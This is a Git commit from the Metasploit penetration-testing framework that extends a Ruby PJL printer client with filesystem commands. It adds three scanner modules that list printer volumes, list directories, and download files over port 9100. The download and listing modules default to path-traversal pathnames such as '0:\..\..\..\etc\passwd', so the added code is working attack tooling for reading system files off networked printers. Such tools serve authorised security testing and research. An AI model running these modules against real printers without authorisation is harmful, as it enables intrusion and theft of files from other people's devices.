Add filesystem commands and new PoC modules

This commit also refactors some of the code.
bug/bundler_fix
William Vu 2013-12-05 10:56:28 -06:00
parent af66310e3a
commit d3bbe5b5d0
7 changed files with 270 additions and 23 deletions

View File

@ -10,7 +10,12 @@ module Rex::Proto::PJL
INFO_ID = "#{PREFIX} INFO ID"
INFO_STATUS = "#{PREFIX} INFO STATUS"
INFO_FILESYS = "#{PREFIX} INFO FILESYS"
RDYMSG_DISPLAY = "#{PREFIX} RDYMSG DISPLAY"
FSINIT_VOLUME = "#{PREFIX} FSINIT VOLUME"
FSDIRLIST_NAME = "#{PREFIX} FSDIRLIST NAME"
FSUPLOAD_NAME = "#{PREFIX} FSUPLOAD NAME"
end

View File

@ -24,42 +24,57 @@ class Client
@sock.put(command)
end
# Send INFO request and receive response
# Send INFO request and read response
#
# @param category [String] INFO category
# @return [String] INFO response
def get_info(category)
case category
when :id
command = "#{INFO_ID}\n"
when :status
command = "#{INFO_STATUS}\n"
def info(category)
categories = {
:id => INFO_ID,
:status => INFO_STATUS,
:filesys => INFO_FILESYS
}
unless categories.has_key?(category)
raise ArgumentError, "Unknown INFO category"
end
command = "#{categories[category]}\n"
begin_job
@sock.put(command)
end_job
@sock.get_once
@sock.get
end
# Get version information
#
# @return [String] Version information
def get_info_id
def info_id
id = nil
response = get_info(:id)
if response =~ /"(.*)"/
response = info(:id)
if response =~ /"(.*?)"/m
id = $1
end
return id
end
# List volumes
#
# @return [String] Volume listing
def info_filesys
filesys = nil
response = info(:filesys)
if response =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m
filesys = $1
end
return filesys
end
# Get ready message
#
# @return [String] Ready message
def get_rdymsg
rdymsg = nil
response = get_info(:status)
if response =~ /DISPLAY="(.*)"/
response = info(:status)
if response =~ /DISPLAY="(.*?)"/m
rdymsg = $1
end
return rdymsg
@ -76,5 +91,61 @@ class Client
end_job
end
# Initialize volume
#
# @param volume [String] Volume
# @return [void]
def fsinit(volume)
if volume !~ /^[0-2]:$/
raise ArgumentError, "Volume must be 0:, 1:, or 2:"
end
command = %Q{#{FSINIT_VOLUME} = "#{volume}"\n}
begin_job
@sock.put(command)
end_job
end
# List directory
#
# @param pathname [String] Pathname
# @param count [Fixnum] Number of entries to list
# @return [String] Directory listing
def fsdirlist(pathname, count = 2147483647)
if pathname !~ /^[0-2]:/
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
end
listing = nil
command = %Q{#{FSDIRLIST_NAME} = "#{pathname}" ENTRY=1 COUNT=#{count}\n}
begin_job
@sock.put(command)
end_job
response = @sock.get
if response =~ /ENTRY=1\r?\n(.*?)\f/m
listing = $1
end
return listing
end
# Download file
#
# @param pathname [String] Pathname
# @param size [Fixnum] Size of file
# @return [String] File as a string
def fsupload(pathname, size = 2147483647)
if pathname !~ /^[0-2]:/
raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
end
file = nil
command = %Q{#{FSUPLOAD_NAME} = "#{pathname}" OFFSET=0 SIZE=#{size}\n}
begin_job
@sock.put(command)
end_job
response = @sock.get
if response =~ /SIZE=\d+\r?\n(.*?)\f/m
file = $1
end
return file
end
end
end

View File

@ -0,0 +1,59 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => "Printer File Download Scanner",
'Description' => %q{
This module downloads a file from a printer using PJL.
},
'Author' => [
"wvu", # This implementation
"MC", # Independent implementation
"YGN" # Independent implementation
],
'References' => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(9100),
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd'])
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pathname = datastore["PATHNAME"]
pjl.fsinit(pathname[0..1])
file = pjl.fsupload(pathname)
disconnect
if file
print_good("#{ip} #{pathname}")
store_loot(
"printer.file",
"application/octet-stream",
ip,
file,
pathname,
"Printer file"
)
end
end
end

View File

@ -0,0 +1,58 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => "Printer Directory Listing Scanner",
'Description' => %q{
This module lists a directory on a printer using PJL.
},
'Author' => [
"wvu", # This implementation
"MC", # Independent implementation
"YGN" # Independent implementation
],
'References' => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(9100),
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..'])
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pathname = datastore["PATHNAME"]
pjl.fsinit(pathname[0..1])
listing = pjl.fsdirlist(pathname)
disconnect
if listing
print_good("#{ip}\n#{listing}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.dir.listing",
:data => listing
})
end
end
end

View File

@ -0,0 +1,56 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => "Printer Volume Listing Scanner",
'Description' => %q{
This module lists the volumes on a printer using PJL.
},
'Author' => [
"wvu", # This implementation
"MC", # Independent implementation
"YGN" # Independent implementation
],
'References' => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(9100),
], self.class)
end
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
3.times { |volume| pjl.fsinit("#{volume}:") }
listing = pjl.info_filesys
disconnect
if listing
print_good("#{ip}\n#{listing}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.vol.listing",
:data => listing
})
end
end
end

View File

@ -19,9 +19,9 @@ class Metasploit4 < Msf::Auxiliary
This module scans for and can change printer ready messages using PJL.
},
'Author' => [
"wvu", # Author
"MC", # Comrade
"YGN" # Comrade
"wvu", # This implementation
"MC", # Independent implementation
"YGN" # Independent implementation
],
'References' => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
@ -49,12 +49,11 @@ class Metasploit4 < Msf::Auxiliary
if rdymsg
print_good("#{ip} #{rdymsg}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer_ready_message",
:type => "printer.rdymsg",
:data => rdymsg
})
end

View File

@ -19,9 +19,9 @@ class Metasploit4 < Msf::Auxiliary
This module scans for printer version information using PJL.
},
'Author' => [
"wvu", # Author
"MC", # Comrade
"YGN" # Comrade
"wvu", # This implementation
"MC", # Independent implementation
"YGN" # Independent implementation
],
'References' => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
@ -37,12 +37,11 @@ class Metasploit4 < Msf::Auxiliary
def run_host(ip)
connect
pjl = Rex::Proto::PJL::Client.new(sock)
id = pjl.get_info_id
id = pjl.info_id
disconnect
if id
print_good("#{ip} #{id}")
report_service({
:host => ip,
:port => rport,